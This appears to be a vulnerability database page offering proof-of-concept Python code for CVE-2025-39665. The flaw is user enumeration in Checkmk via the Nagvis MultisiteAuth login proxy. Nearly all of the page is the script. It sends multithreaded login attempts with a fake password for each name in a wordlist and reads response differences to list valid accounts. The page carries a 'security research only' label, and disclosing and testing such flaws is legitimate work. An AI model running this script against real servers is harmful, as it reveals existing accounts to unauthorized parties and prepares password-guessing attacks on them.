Checkmk MultisiteAuth module (all versions prior to integration fix)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-39665 User Enumeration PoC
import requests
import sys
from concurrent.futures import ThreadPoolExecutor
TARGET_URL = "http://target-server/nagvis/"
CHECKMK_AUTH_ENDPOINT = "ajaxproxy.php?qfunc=check_mk_login"
def test_username(username):
"""Test if a username exists in Checkmk via Nagvis MultisiteAuth"""
try:
# Payload simulating authentication request
payload = {
'_username': username,
'_password': 'FAKE_PASSWORD_FOR_ENUMERATION'
}
response = requests.post(
TARGET_URL + CHECKMK_AUTH_ENDPOINT,
data=payload,
timeout=10,
allow_redirects=False
)
# Analyze response differences
# Valid users may return different error messages or response codes
if 'user not found' not in response.text.lower() and \
response.status_code != 401:
print(f"[+] Potential valid user: {username}")
return username
else:
print(f"[-] User not found: {username}")
return None
except requests.RequestException as e:
print(f"[!] Error testing {username}: {e}")
return None
def enumerate_users(wordlist_file):
"""Enumerate Checkmk users from a wordlist"""
with open(wordlist_file, 'r') as f:
usernames = [line.strip() for line in f if line.strip()]
print(f"[*] Testing {len(usernames)} usernames...")
valid_users = []
with ThreadPoolExecutor(max_workers=10) as executor:
results = executor.map(test_username, usernames)
valid_users = [r for r in results if r]
print(f"\n[*] Found {len(valid_users)} valid users")
return valid_users
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python cve-2025-39665.py <wordlist.txt>")
sys.exit(1)
enumerate_users(sys.argv[1])